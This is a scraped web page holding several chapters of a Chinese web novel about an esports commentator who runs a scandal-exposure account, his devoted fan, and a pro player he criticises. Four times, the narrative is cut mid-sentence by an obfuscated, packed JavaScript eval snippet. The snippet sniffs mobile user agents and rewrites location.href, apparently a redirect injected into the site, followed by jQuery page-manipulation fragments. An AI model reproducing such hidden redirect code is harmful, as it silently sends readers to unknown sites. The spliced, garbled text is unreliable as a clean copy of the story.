d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808767|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树下,往回走看着这坡儿都感觉喘不上来气儿,往外走这雨都能给他浇死,他只能倚在路边玩手机,他是个脆皮,气血虚得很,站一会儿就得蹲下来。 WATA2有APP,这时候给他推送消息,陆意扬上线看了一眼新版本,这破游戏天天不想着给它的bug找一找,净出一些没用但圈钱的傻逼功能。 比如跟军团的人一起可以有战力加成,比如情侣一起打比赛还有另外加成,而且这情侣一整买个戒指还要99RMB,各种皮肤上场还有专属加成,好像把玩家当冤种掏兜呢。 但是WATA2的玩家手跟嘴是分离的,他们骂归骂,花还是花,就这一会儿,大喇叭就不知道飘了多少「恩爱百年」的臭情侣了。 陆意扬仔细瞧了一眼,好家伙,这狗贼游戏要是离婚还得花钱,而且要199,附送一个「无敌寡王」的称号,这破玩意儿还能在单排的时候战力加成? 游戏策划的脑子让狗吃了吧? 陆意扬的小窗口跳动。 【N:你回来了?】 【6老板:没有。】 【N:哦。】 【6老板:这雨太大了,打不着车,早点跟你说好了,不知道你在等我。】 【N:没事。】 【6老板:[图片]】 陆意扬发了一张自己打车已经20分钟没有人接单的图片。 【6老板:别等我了。】 【N:哦。】 这雨没有要停的意思,陆意扬的手机也快没电了,他得省着点用,抄进兜里的时候就只能无语地光看着雨落下来。 有车驶过,陆意扬厚着脸皮拦了一下,想出钱让人家捎一段,但是大晚上的下雨天,一个男人穿得黑不溜秋地站在路边拦车,除了被溅了一身水之外啥也没有。 “草...”陆意扬原地跳了一下,又站到树下面去了。 本来还没那么冷的,被水一溅,风一吹,人就要开始起鸡皮了。 陆意扬有点蹲在路边,拿了一根树枝戳地上的蚂蚁,都不知道过了多久,这雨可算小了一点儿,他一点儿也待不住了,想着反正身上也已经湿了,不行就这么走算了。 忽然,他的手机提示音响了。 有人接了他的单。 还是命不该绝。 但是接他的是一个0单的谈师傅,驾驶的一辆阿尔法罗密欧,现在的有钱人是真有花样,顺风车的散碎银两都不放过。 这车距离自己还有点距离,陆意扬时刻都怕他取消了单子不过来了,而且这地儿是个单行道,师傅来了还得绕一大圈,不行陆意扬自己走出去一点儿吧? “我走出来一点吧,这是单行道,你就在那个福元路跟燕林路的丁字路口等我吧。”陆意扬刚要冲出去,看见对面回复。 【谈师傅:不用。】 行,那也不管他了。 陆意扬又盯着手机又等了十分钟,看见青梅雨水蒙蒙里,歪着车牌的车朝着自己开过来。 陆意扬身上有点脏,这车好像也不常拉客,他拉开了后面的车门,问,“我被溅了水了,你有一次性座椅套吗?可以加钱。” 师傅的位置黑漆漆的,关了车门什么也看不见,他头也没回的说,“没有,上车。” “哦。”陆意扬坐在后排,系上了安全带,但是这个师傅看起来业务很是生疏,连「接到乘客」的程序他也不点,程序一直发着机械的语音,师傅似乎不会操作,手忙脚乱地按了好几下之后他把手机关机了。 这是什么操作? 感觉气氛有点尴尬。 “师傅,你是做什么工作的。”陆意扬问。 “......”师傅吞了下喉结,从后视镜里匆匆看了一眼陆意扬,没作答。 陆意扬觉得可能人家不愿意搭理他,也不说话了。 车里有点香,没灯,太暗了。 这车开得也有点慢,陆意扬明明记得这一段能开80码啊,这个师傅开的不到50。 怎么回事。 陆意扬有点不祥的预感。 “师傅,你能稍微快一点吗?” 前面的人还没说话,陆意扬补充了一个让人无法拒绝的理由,“师傅,我着急回家上厕所,大的,有点憋不住了。” 8. 情定三生 陆意扬没有给他好评。 因为根本评不了。 这个师傅他下车了都没有按行程结束,等陆意扬洗完澡的时候发现这车费已经累积到二百多了,他有点忍不了,这倒霉平台能少放这些傻逼车主出来吗? 陆意扬用虚拟号码打过去:“喂,师傅。” 对方接起电话,似乎有一秒的慌乱,故作镇定:“嗯。” “我下车之后你没结束行程,现在车费...”陆意扬停顿了一下,“有点多了。” “啊?”对面更慌乱了,“哦,哦。” “???”陆意扬不懂,这个师傅怎么这么傻。 “算了,”陆意扬本来想叫他把钱转回来一点,但是看着对面也没接话的意思,而且看起来还真的不是故意的,“本来今天也是我打不着车,我看你也是绕好远过来的,你点一下,我支付车费。” 对面很呆滞,又是“哦”的一声。 陆意扬擦完头发,这会儿人也清醒了,怕他的小粉丝还在等他,坐在电脑面前上了号。 还好小粉丝的头像是灰的,没有等他,不然怪过意不去的。 陆意扬刚要下线。 【N:1】 陆意扬拉他c房,懒得打字。 “我刚回来。”陆意扬把擦头发的毛巾放在边上,喝了杯热水,“碰着个傻波滴滴。” 【N:.......哦。】 “那你等会儿我看一下,” 陆意扬喝了一口热水,“我买点加战力加成的卡什么的,方便我们晚上玩。” 陆意扬撑着下巴用鼠标点,“最划算的是挂戒指...还有等等我看看...反正这游戏吃相是真...” 突然,陆意扬的屏幕堆满了粉色泡泡,一卷婚书展开—— 【玩家[N]对您许下地老天荒的誓言...】 “啊?”陆意扬一下子没反应过来,“这是什么啊?” 【N:戒指,有加成。】 “你...”陆意扬觉得怪怪的,但是说不上来哪里怪怪的,这游戏两个男的也能挂戒指? 喔,想起来了,这游戏的老板就是个gay。 害人之心陆意扬多得是,防人之心他更重。 “你...”陆意扬犹豫了一下,“你还是留着跟别人挂吧。” 【N:哦。】 然后陆意扬点了个拒绝。 【玩家[6老板]拒绝了[N]的求婚申请,系统收回[情定三生]道具。】 “嗯?”陆意扬不解地问,“那戒指呢?” 【N:回收了。】 “99啊?直接没了?”陆意扬瞪大了眼睛,“太浪费钱了!我早知道就同意了!” 屏幕瞬间又粉了。 【玩家[N]对您许下地老天荒的誓言...】 “???”陆意扬更不解了,“什,什么意思啊?” 【N:你说想同意。】 陆意扬这个小粉丝,就是脑子不转弯,整个人就是干巴巴的,但是就陆意扬这么久跟他相处下来,他从不蛐蛐其他主播,可以说安静得有点过分,起码陪着他看了五遍不止的武林外传。 这就不得不让陆意扬有一点点误会了。 他觉得所有人靠近任何人都是应该...有所图。 虽然他身上没有什么值得人家图的了。 “你为什么想跟我挂戒指?”陆意扬问。 语气难得严肃。 【N:因为没人跟你挂。】 “............哦。” 他说这话的时候丝毫没觉得有什么伤人的吗? 陆意扬这次大大方方点了同意,“还花你两百块钱,你要什么道具,我送给你。” 【N:不用。】 “你,”陆意扬犹豫了一下,“你陪我打游戏,还送我道具,这不好。” 【N:等你去秋季赛解说再说吧。】 陆意扬还没反应过来,这傻波游戏结成配偶之后还能往上升级,从白银戒指一路升级成钻石,也不知道他点了多少钱,他的垃圾号上开始弹出来一大堆的东西,皮肤坐骑武器,英雄双倍保分等等等等。 “诶诶诶,”陆意扬喊道,“你干什么呢?” 【N:我过几天可能会忙,要这几天把分打完,这样有效率。】 陆意扬看着自己金灿灿的账号,没明白现在算几个意思。 【N:加成应该满了,你自己单排也不会掉分。】 “闹半天,”陆意扬狐疑,“就是为了给我上加成?” 【N:嗯。】 陆意扬问,“我收得有点不太好意思了。” 【N:你解说过我的比赛,应该的。】 “啊。”陆意扬恍然大悟,“我是不是夸你了?” 【N:。】 【N:嗯】 “害,应该是你确实玩的好,”陆意扬说,“应该的。” 陆意扬刚打算跟他的小粉丝再开一把游戏,就看见了他微博有投稿人,怨气有点大,正是报价的好时候,“等会,我...我现在有点事,我今晚可能玩不了。” 【N:你忙。】 陆意扬把游戏退了,正在看对面苦主的聊天记录,他打了个哈欠,电脑上开了数个社交软件,以求证这件事的真实性。 陆意扬把这事儿有关的人都拉了个群聊,这次要撕的是一个解说。 这个解说其实陆意扬的对他的印象不错,但之前撕的那个打野不太一样,那个打野干那事儿也不是一次两次了,只不过从前的女孩儿怕人笑话,鲜少有找来要求曝光的。 很多男主播也是拿捏了这一点。 但是这次这个解说,看起来都恶毒了。 陆意扬记得去年秋赛季的时候还见过他,怎么会这样? 等他这一通搞下来,时间都已经来到了十点。 陆意扬伸了个懒腰,把投稿人的资料码掉之后,挂在了自己的微博上: 【[图片]明晚7点,羊崽与您不见不散&直播链接:http://...】 一般来说,陆意扬给的预告都是等着当事人来再跟受害者谈谈,或者有这件事差不多的受害者来取得联系。 但是今天的这个,似乎已经没有必要和解,而且掌握的证据也足够多了,所以他直接挂的都是直播链接。 【我草,小牲口刚想你呢你又接到业务啦!】 【好喜欢看混乱的男女撕逼,希望这次能有上麦撕逼的情节!】 【讲真WATA2能上羊崽直播间才是真的顶流。】 【羊崽你赔我点钱吧,为了上你的直播间我谈了三个,鸡都忙瘦了。】 陆意扬草草浏览着他们的评论,还在制作精美的ppt,当然就是免费模板,然后插入几张图片就可以,简陋得有点类似智障。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808768|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次涉及的金额有点大,陆意扬的后台私信乱七八糟,而且还有很多鱼目混珠的,他需要把这些真真假假的都拆出来,因为这次的判官接到的项目有点儿特殊,陆意扬决定免费。 但是老板要是强硬得要给一些钱,当然是最好不过的。 他揉了揉眼睛,发现他的「解说小六」的直播还挂着,贡献榜上的那个人头像也还亮着。 陆意扬看多了恶心的图片,嗓子有点痒,喝了半杯水之后问,“还在吗。” 【六六的小粉丝:在。】 陆意扬有点儿抱歉地说,“不好意思,有点事儿在忙。” 【六六的小粉丝:嗯。】 “唉,”陆意扬仰在电竞椅上叹了一口气,“累。” 【六六的小粉丝:哦。】 陆意扬轻声地笑了一下,“这么晚还不睡觉吗?” 【六六的小粉丝:马上睡了。】 电竞椅因为陆意扬的盘起腿发出一点声响,“早点休息吧。” 【六六的小粉丝:你在忙什么?】 陆意扬眨眼睛,他不太想他的小粉丝知道他赖以生存的职业是...不上台面的,甚至说,没有任何人知道他的马甲,他的手机无意识地打开他的打火机搓了两下砂轮又清脆地关闭,接着又开始重复以上的流程,最后他说,“一点过渡的职业,不太好。” 【六六的小粉丝:哦。】 他无趣又直接的小粉丝似乎是整个WATA2里面唯一最希望他在解说之路上顺遂一点儿的,但是他知道自己真实的德行会怎么看呢? 太奇怪了,陆意扬居然还要脸呢? “早点休息吧。”陆意扬匆匆地下了直播,他的舌尖舔舐了一下牙齿,重新沉浸在恶心的PPT里面。 他半夜的时候随手拿了点饼干,这饼干已经潮了,早知道密封一下,真是粘牙,从前的陆意扬可不吃这些鬼东西,但是现在也没选了。 他又去刷了个牙,在半夜三点的时候上床睡觉。 他开始深深浅浅地做梦,甚至连具体的情节都没有,只剩下一个类似圆弧的镜头感的模模糊糊的自己,像有人在窥视他。 陆意扬骂了一句,醒来的时候才五点多,外面的天都还没亮。 他去抽屉里翻一些过敏药,过敏的副作用是嗜睡,也无梦,但是遗憾的是过敏药也吃完了。 他睁着眼睛看着天花板,其实自洽的过程挺艰难,从前要皮要脸面子比天还大的陆意扬混到现在这样他有点自嘲,说没办法其实也不是能骗过自己的借口,他可以去送外卖,也可以去送快递,但是他又觉得来钱不够快,最后选了一个靠「撕逼」来挣钱的行当,哗众取宠,被人戳着脊梁骨,这事儿时常让陆意扬觉得羞耻。 他起来搓搓自己的脸,大半夜地去洗了个澡。 他在小粉丝问他在干嘛的时候觉得迷之惧怕,有点儿那种粉的偶像成了一只叉腰老鼠的感觉,也可能是陆意扬在他的判官生涯里面看见了无数被视为偶像的凡人被他撕去虚伪假面的现场,粉丝们为萍水相逢的人添砖垒瓦,结果近看净是一片废墟,他们破防时候的小作文连圈外人看了都有点... 陆意扬掐着自己的指尖,莫名觉得觉得电竞判官的最后一场直播搞不好都是他自己的专场。 他不能再瞎想了,又当又立的可不行,他要彻底碾碎自己的并不多的良知,所以他选择了凌晨去找小畜生们对线。 9. 都睡了吗 【羊崽:亲爱的小畜生们睡了吗[疑问][猪头]】 【刚从羊圈里挑完你拉的两百斤大粪,快让我抱抱你羊崽。】 【羊崽:我拉了个你出来是吗?】 【刚对着你的头像做了些不太礼貌的事情你就来了[害羞]。】 【羊崽:我把你头像挂灵堂。】 【PAX-zonke:没睡。】 真的无语,这个冤种怎么无处不在,大早上五点,他不睡觉吗? 扬意扬本来想回复:谁问你了?你没事干就跟楼上一起去挑大粪。 但是想了一下又变成了:【好辛苦啊,快去睡呀,你不睡觉怎么能行。】 【PAX-zonke:等一会睡。】 神经,谁关心你睡不睡了,陆意扬骂了他一句。 但是手上的回复却是:【有事儿吗?】 【PAX-zonke:有的。】 【PAX-zonke:昨晚你做的视频,17分钟32秒,高地视野盲区位置,你说鳄鱼技能弹不到我应该跳上去,但是测试过20次,有7次会弹到。】 陆意扬做了很久zonke的视频,其实他在蛮久之前第一次看见这种回复心情有点复杂,对他的印象一直都是那种狂得没边,觉得自己天下第一牛逼,整个WATA2没有对手,见谁都用鼻孔看人,还没进入职业就是以solo王的身份扬名了,这些不是陆意扬杜撰的,是随便一个WATA2的玩家都知道,这个人跟牛一样,神经兮兮的,稍微玩得好一点的都要去找人家solo,说来,甚至现在仍旧以789胜112负在WATA2「赤水对阵」也就是solo点将模式的第一。 抱着在游戏中不上升真名,当黑粉也要有素质的宗旨,陆意扬在心里默念,叫什么谈年啊,叫谈牛好了吗。 虽然话是这么说,但是陆意扬也打开电脑进入测试模式,他之前只测试过三次就草草下了结论,他打开视频,升级到相同等级,相同装备,切了视角,进行模拟,在第五次的测试的时候,果然地形偶尔会出bug,鳄鱼的技能会晕到。 陆意扬在嘴里默念,70+%几率都不敢赌,你缩血池里泡澡得了呗。 但是回复的时候说的却是:【我这边刚刚测试了一下,不会被晕到的可能是大于70%,可能有点粗糙,但是我觉得值得赌一把。】 【PAX-zonke:我再看看。】 陆意扬紧接着就收到了盲流子们的问候。 【zonke宝宝别理这个臭垃圾,你那波还要回防,打得自然要稳,他懂什么?】 【败方MVP,17/3/25的战绩还要被黑也是真的没谁了。】 【那把的锅本来就是K的问题,17分钟还要中单怎么打?这拉扯还不行?】 【up主你行你去,INE战队都这么针对中单了鳄鱼一口就留住人还赌?】 【因为黑粉一句zonke还去做测试,黑粉转浅黑了。】 【拿嘴玩游戏UP主是真6。】 【那当然啦!我们的羊崽就是拿嘴舔键盘,用牙放技能的!】 【大家都给我个面子,羊崽你磕个头,zonke你也跪下,这事儿就算了。】 陆意扬起来刷牙洗脸,不打算理这帮呆逼了。 外面的天已经亮了,楼下的包子铺三点开始就已经亮了门头,这会儿热气腾腾的包子已经出笼,他单手拉着自己的自行车,卫衣的帽子往头上拉,他好久没有剪头发,刘海有点儿遮住眼睛,三月的沪宁还是有点冷意,但是起大早还能听见一点儿鸟鸣。 他上学的学校离住的地方并不远,他的毕业论文只做一行字。 从前是父母负担学费的时候他从来都没有上学如此用心过,花自己钱了就四六级都格外的上心。 他早早地到了教室,戴上了黑框的眼镜,他有点儿近视。 他们学校里有不少出去打零工兼职的,从主持人到模特,所以陆意扬当解说这事儿也没人在意,毕竟都是小比赛,跟闹着玩一样。 走廊洒进第一轮阳光的时候,教室里渐渐开始热闹起来,陆意扬叼着包子在笔记本上敲下句号。 豆浆的糖放得有点少,他喝出了一点儿豆腥味,伸了个懒腰,他当时上大学的时候恰逢家里出了点事,休学了一段时间所以跟从前的同学不在一届,所以在班上也没相熟的同学。 鎏金的阳光撒进看起来像个清纯男大眼眸的时候,上课铃声响了。 今天上课的同学有点多,陆意扬的身边也坐下人来,一个看起来很是文静的女孩儿,甚至坐下来的时候还说了两声不好意思,坐下来之后看见了陆意扬找不到纸巾,还给他拿了香香的餐巾纸。 “谢谢。”陆意扬说。 “不用客气的,”温柔的女孩儿说,“我上次去城市赛还看见你在解说了。” “喔,就解说了一场。” “解说的蛮好的。” 正是青春的男大女大,甚至放在一起都有点养眼。 陆意扬想给人家让一下前面的插座的时候,手指还不小心碰到了。 陆意扬尴尬地收回。 气氛有一点点暧昧。 “有机会可以一起打游戏。”她说。 “好...好啊。”陆意扬居然还害羞起来了。 她正还要开口,老师咳嗽了两声。 “等下课的时候加你好友吧。”女孩儿轻声地说。 “嗯。” 课堂上开始安静下来。 除了偶尔有吸鼻子的声音,整个教室都挺安静的。 女孩儿拿出笔记本,没看两行论文就开始冲浪,陆意扬不留神撇了一眼就看见她在自己很熟的主页上。 他眯起眼睛,见他温柔娇小又贴心的临时同桌正在往上激情开麦: 【不是吧不是吧这个羊崽怎么还没死啊,一天到晚的靠黑别人挣钱还给你活出优越感来了是吗?站在道德的顶峰你怎么不批判一下你自己呢?你这种人要是现实被我碰上,我必带你上社会新闻,我一个W就是五马分羊接一手E一刀两羊,被动R死无全羊,大招F庖丁解羊。】 陆意扬困惑地盯着她,她似乎发现了陆意扬的目光,微微含笑说了一句,“不好意思,是不是打字太吵吵到你了?” “没有。”陆意扬收回目光,暧昧一扫而光,“就是觉得你,很会写论文,还会关心人。” —— 中午一点半,PAX训练基地。 “清醒了吗?”椰哥大中午的已经喝上咖啡了。 “嗯。”谈年刚醒,还阖着眼皮,大中午的这儿的遮光帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808769|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也拉得厚实,躺在沙发上应,“什么事儿。” “经常黑你的那个账号,说了好几次了,”椰哥看着他心不在焉的样子,“把他账号封禁了吧。” “不要。”谈年说话很慢,眼睛还是没睁开,“他没什么不对。” “但是底下的...”椰哥说,“你也不是当年的身价了,上一次热搜就给他带一次热度,你没事别回应他了。” “是WPL的规定还是PAX的规定?”谈年终于睁开眼睛,用力地按压了一下眼眶。 椰哥也没想到谈年会这么回答,紧接了一句,“你什么意思啊?” “没什么意思。”谈年撑着麂皮沙发坐起来,“还是你觉得他做的事情不对吗?” 说到[羊崽]这个账号,椰哥当然是知道的,简直是他们经纪人眼里的一大毒瘤,前几天PIK战队的经济人刚找椰哥吐槽过,本来有个代言约,活生生让一个专场搞得才跟他们接洽的品牌直接说了抱歉再考虑,PIK经纪人喝了多少酒才接到的,打野私生活混乱在他们眼里什么都不算,PIK第一次上微博热搜就是对于他家打野的处罚。 但是有时候[羊崽]的账号也可以帮忙,比如合约还没到期的棘手选手,比如特别能影响队友心态的队员,比如年龄偏大的队员,他们本就有意,但是苦于人家从队伍微末就在里面,踢出去又得被说卸磨杀驴等不好的反响,就着羊崽专场小题大作,也正好顺理成章。 有时候吧,代言上或者两队有矛盾的时候,大批量的水军混在人群里,将对面黑得体无完肤的也有,单一队员的攻击也有,这个账号似乎成了什么兵家必争之地,大战的混乱得要死,鱼蚌相争后陆意扬得利,他在WATA2资讯类博主中一骑绝尘,流量就是money。 “对了,你去看城市赛干什么?”椰哥问,“是有什么好选手吗?” “没有,”谈年站在窗户边上,随手推开了窗,外面的树杈已经冒了嫩芽,“但是有别的。” “什么?” “解说。”谈年伸手掐了一点嫩芽,“说了一场,就被换了。” “那不是很正常的事情吗,你来PAX的时候也就是实在没有好中单,不然你也得坐冷板凳,”椰哥对这样的事情司空见惯,“WATA2就这样,越有的吃就越有的吃,越没有就越没有,比赛的质量越低,解说的水平越不能展现,但是好比赛又轮不到他,就这么弄着弄着就没意思了。” 谈年淡淡地说,“没意思。” “你还没意思,你这个年纪,PAX的首发,一年身价跳了几个台阶,WATA2中单投票实至名归第一人,你的采访视频都比别人的比赛视频热度还高,你还没意思?”椰哥看着橱柜上的奖杯,开始大展宏图,音调都高了,“去年虽然止步四强,但是今年我有预感,要剑指冠军。” 谈年沉了一口气,打断椰哥挥斥方遒,“对了,今年秋季赛的解说定了吗?” “你要去当解说啊?”椰哥问。 谈年狐疑地对上了椰哥诚恳的问询的目光,只能郑重点头:“嗯。定了吗?” “这我倒真不清楚,但是解说...”椰哥嘶了一声,“我知道的定了两个,人气解说吗...这东西得靠投票啊,应该就是原先那些人,很少能空降。” “我觉得他们一般。” 10. 粉随正主 陆意扬下午没课,这会儿正在便利店买盒饭,只需要拿回去叮两分钟就可以吃,省事儿。 大学城的学生街道边还有卖草莓的,不过也是快过季了,便宜。 篮子装在塑料袋里,挂在自行车龙头上,他紧了紧自己的卫衣帽子上的绳就往家里骑, 这个家是一个独居男人的,就实在简单,他洗了一些草莓,将垃圾放在门口,打开窗户放风。 他再次坐到电脑面前,核对今晚需要用的每条转账,每条视频,还有要展出的录音是否都码掉了一些私人信息,他在做完准备工作之后还得去打一下排位,早点把战斗力打上去的话可以报名这次秋赛季的解说招募,虽然也不一定能上吧。 他的小粉丝给他撸了全套的加成装备,说来这都得不少钱,陆意扬都觉得自己去不上的话对小粉丝来说实在太辜负了。 他上号看了一下小粉丝在不在,在的话可以双排一会儿,不在的话他自己单排哪怕输了战力也不会往下掉,强度很高的情况下他的手最多能支撑他打两个小时,两小时之后就抖得不能自控了。 陆意扬一开播就有直播通知,小粉丝在三分钟之后就来了。 “吃饭了吗?”陆意扬往嘴里丢了一颗草莓,有点甜。 【六六的小粉丝:嗯。】 “那下午能玩吗?”陆意扬点着游戏,“中午吃的什么呀?” 【六六的小粉丝:可以。】 【六六的小粉丝:盒饭。】 “你自己吃盒饭然后给我送这么多的装备啊?”陆意扬想起来古早的网络梗,就是一千五百块钱的工资给主播刷1314,自己留下186对付吃泡面。 “这怎么行呢,”陆意扬拿起手机,“你把你的收款码发给我,或者我加你好友,我给你转一点儿。” 【六六的小粉丝:[图片]】 陆意扬才看见他的盒饭是上面平铺了一层寿司跟手握,下面有一盒鳗鱼饭,他在看了看自己的刚扔进垃圾桶的十足家15块8的盒饭,感觉自己似乎不用卖弄那三瓜两枣了,“我多虑了。” 【六六的小粉丝:上号。】 “我就下午能玩一会,晚上还有点事。”陆意扬拉人进房,“但是应该挺快,你能等我吗?” 【N:嗯。】 “对了,这一把我想打鳄鱼。”陆意扬说,“感觉这英雄有点bug。” 【N:什么bug。】 游戏很快进入bp,这一把他们排到的人拿的英雄都五花八门,但是这战斗力还是低,哪怕是下水道英雄也能玩玩。 【N:我选玫瑰?】 鳄鱼跟玫瑰在WATA2里面是情侣,情侣双排用情侣皮肤的话战力也能稍微加得多一点,还有就是鳄鱼的皮肤做的比原皮操作起来更丝滑。 “我想选原皮。”陆意扬说,“看原皮的bug。” 【N:情皮加成高。】 陆意扬纠结了一下,“我还是用原皮吧。” 找bug会比分还重要吗?陆意扬想。 他蜷缩了一下手指,好像他近一年做的事情大部分就是跟WATA2跟zonke有关,给他剪视频,给他找毛病,为了通顺地理清游戏思路,从零开始学,从一开始怎么也讲不清楚看起来跟抬杠似的,到现在游刃有余地找点儿切入,真的有点不知道当解说重要还是跟他对线比较重要了。 算了,找bug重要,怼死他更重要。 “分可以再上,这个傻逼老子错过了就骂不到了,跟我抬杠。”陆意扬自言自语地说,“但是哥骂人得有理有据。” 【N:......好的。】 陆意扬玩的这个英雄是上单,最有趣的技能是一口能把英雄咬在肚子里面,然后带着他走来走去,点满的情况下可以高达2秒,能把对面输出最高的英雄带走,也能保护自家英雄。 而玫瑰比较有意思的技能是召唤,点满之后鳄鱼能秒现她身边,其他的英雄就得按照距离来算。 “拉我。”陆意扬刚吃完一波兵线,看着玫瑰的W已经标记了敌中,无阻冲向它,鳄鱼秒现并瞬间接R利用三技能用尾巴挑起对方,接W尖刺鱼牙留人,半肉半输出扛前排等玫瑰收割。 玫瑰继续追踪,鳄鱼大招鬼沼网笼将敌方三人收拢,玫瑰的大招还在消耗,二打三之后玫瑰的血槽已空,鳄鱼叼起他这局势本应回撤,但是陆意扬选择继续追杀残血,玫瑰被吐出后秒接跳石走位拉扯继续平A,鳄鱼再接已经CD完成的R技能并一尾巴挑走前来支援的辅助,前十分钟二人的技能衔接至一个堪称完美的节奏,直接将对面中野发育节奏打得一团乱。 “大招我得多试几把,”陆意扬点着对面高地的位置,标记小地图,“我要在这里放大招,你把人引到这里。” 这个地方是陆意扬做的那个视频里面,zonke没有跳上去输出,他说这个位置容易被鳄鱼的大招刮到,但是陆意扬却认为这个位置有70概率并不会,如果他追的话完全可以打一波翻身的团战,从而给队伍其他人争取再发育的时间。 【N:好的。】 “谢谢你啊,在这里陪我测试bug,”陆意扬说,“好浪费你的时间了。” 【N:我也想看看的。】 陆意扬一听到这里就起劲了,“你知道WATA2里面哪些有意思的bug吗?” 【N:好。】 “其实有些bug就是要配合,也算不上是bug了,”陆意扬说,“但是我觉得能跟人一起把bug配合出来的就很有意思,比如武夫那个丢人,把人往鳄鱼身上丢的那一瞬间,玫瑰召唤了鳄鱼,那被武夫丢的那个人是应该出现在鳄鱼原先在的那个位置,还是在玫瑰的身边呢?” “比如说,月轮的那个大招,是按照距离来算伤害,那要是打在鳄鱼身上,鳄鱼却被玫瑰拉走,那大招会不会换方向继续追杀呢?” 【N:可以一个个试。】 “算了,”陆意扬笑着说,“我就是开开玩笑,我也没朋友陪我这么无聊卡bug。” 【N:我不觉得无聊。】 鳄鱼扭着自己大尾巴走了。 中间没人说话。 【N:......这个英雄,该出什么装备。】 “啊,”陆意扬感觉自己也能帮小粉丝的忙,立刻说,“这样功能型的中单,出装备都是一个思路,禁魔,留人,开团。一般来说,大家都喜欢打爆发流的中单,但是WPL也就是被运营的思路困住了,就比如zonke,他打法爆中单更好看。” “他照着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808770|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的装备出就可以。”陆意扬说,“但是玫瑰这个英雄吧手有点短又没位移,发育得两个装备,他一般只喜欢玩一件装备就可以去杀人的,所以他不怎么玩这种吃装备的英雄。” 【N:喔。】 “等会我想一下,”陆意扬眨了两下眼睛,“嘶,他当时PAX晋级四强的倒数第二个比赛日四进二的时候打过一把玫瑰,大概在bo5的最后一把赛点局,你可以去看看。” 【N:喔...】 “看也白看,那把他打得是个什么东西啊,好菜的,”陆意扬嫌弃地说,“你按照那把看,就是标准的错题集,他出的装备你一个也别出。” 【N:......喔。】 “真辣眼睛,我看完差点把自己的眼睛戳瞎。”陆意扬的话还没落地,玫瑰就放了一个空大。 【N:....不好意思。】 “没事儿。” 陆意扬跟小粉丝配合,在高地放了好几波的大招,跟他在英雄试练场不同,鳄鱼的大招只要在高地下位置放对了,范围要比标记的范围再大一点点,所以他说的70的概率不会被卷根本不可能,zonke没跳上去是对的。 陆意扬呲了好几次牙,觉得这是官方的锅。 这把刚结束,陆意扬就低头打开手机,打开了羊崽的微博号。 本来他想给优美地迂回一下,表达这个bug确实是他自己没有仔细测试的问题,但是评那条回复下面的评论区已经炸了。 【鳄鱼的技能100%能把这个位置卷进去,会玩吗能别在这里误人子弟了吗?】 【这个羊崽肠子连着嘴张嘴就是拉。】 【本来还以为羊崽真是那技术流黑粉,说的都是有理有据的,没想到也就是这样而已。】 【玩过鳄鱼的都知道这个位置就等着人跳上来就可以收网了吧?】 【zonke的脾气是真的好啊真心感叹。】 ... 完了,各位懂哥已经先行一步了。 【羊崽:哥在这儿确实失误了,但是我更失误的是把你们这些小畜生生出来。】 【羊崽:没事干就去舔马桶,一个个的嘴这么脏,粉随正主,长见识了。】 他是知道怎么调理的,先骂自己再骂他们,反正就是无法选中。 陆意扬的第二把BP还在进行,他噼里啪啦地在那打字。 微博开的是小窗口,游戏开的是大窗口。 【N:你在聊天吗。】 “我在写小说,”陆意扬心不在焉,“等出版了送你一本。” 【N:谢谢。】 【羊崽:各位懂哥在这里装什么呢?怎么着,我就不能错了是吧?】 【羊崽:我的护法们呢!!!!快给我无脑拥护你们的羊王!】 【左护法今日起改邪归正,拥护zonke成为我们新王!】 【右护法沉迷zonke的帅照无法自拔[图片][图片]】 zonke在沪宁线下赛的时候被拍的一些照片。 陆意扬不想承认,这哥们也就比自己帅了一点。 【按照照片来说,我觉得zonke应该是对的。】 【在羊崽的照片没出来之前,我不站任何一边。】 11. 喵喵喵喵 陆意扬回复几个评论的功夫,第二把又开了。 在这种低分段的游戏里,只要有一个会玩的就很容易把对面的节奏都打崩。 陆意扬这边都是大前期的阵容。 陆意扬刚刚还翻看了一下微博收到的私信,受害者还在往上递增,陆意扬让他们将聊天记录完整录屏且露出对面微信账号保证真实。 弄完回来他的键盘才算安静。 【N:你的小说写完了吗?】 “啊,”陆意扬说,“刚写到正邪不两立。” 